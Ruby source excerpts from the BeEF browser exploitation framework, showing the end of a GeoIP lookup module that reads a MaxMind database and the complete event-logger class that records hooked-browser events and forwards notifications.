geoip_file = @config.get('beef.geoip.database')
unless File.exist? geoip_file
print_error "[GeoIP] Could not find MaxMind GeoIP database: '#{geoip_file}'"
@enabled = false
return
end
require 'maxmind/db'
@geoip_reader = MaxMind::DB.new(geoip_file, mode: MaxMind::DB::MODE_MEMORY)
@geoip_reader.freeze
rescue StandardError => e
print_error "[GeoIP] Failed to load GeoIP database: #{e.message}"
@enabled = false
end
#
# Check if GeoIP functionality is enabled and functional
#
# @return [Boolean] GeoIP functionality enabled?
#
def enabled?
@enabled
end
#
# Search the MaxMind GeoLite2 database for the specified IP address
#
# @param [String] The IP address to lookup
#
# @return [Hash] IP address lookup results
#
def lookup(ip)
raise TypeError, '"ip" needs to be a string' unless ip.is_a?(String)
return unless @enabled
@geoip_reader.get(ip)
end
end
end
end |
Ruby | beef/core/main/logger.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
class Logger
include Singleton
# Constructor
def initialize
@logs = BeEF::Core::Models::Log
@config = BeEF::Core::Configuration.instance
# if notifications are enabled create a new instance
notifications_enabled = @config.get('beef.extension.notifications.enable')
@notifications = BeEF::Extension::Notifications::Notifications unless notifications_enabled == false or notifications_enabled.nil?
end
#
# Registers a new event in the logs
# @param [String] from The origin of the event (i.e. Authentication, Hooked Browser)
# @param [String] event The event description
# @param [Integer] hb The id of the hooked browser affected (default = 0 if no HB)
#
# @return [Boolean] True if the register was successful
#
def register(from, event, hb = 0)
# type conversion to enforce standards
hb = hb.to_i
# get time now
time_now = Time.now
# arguments type checking
raise TypeError, "'from' is #{from.class}; expected String" unless from.is_a?(String)
raise TypeError, "'event' is #{event.class}; expected String" unless event.is_a?(String)
raise TypeError, "'hb' hooked browser ID is #{hb.class}; expected Integer" unless hb.is_a?(Integer)
# logging the new event into the database
@logs.create(logtype: from.to_s, event: event.to_s, date: time_now, hooked_browser_id: hb).save!
print_debug "Event: #{event}"
# if notifications are enabled send the info there too
@notifications.new(from, event, time_now, hb) if @notifications
true
end
@logs
end
end
end |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.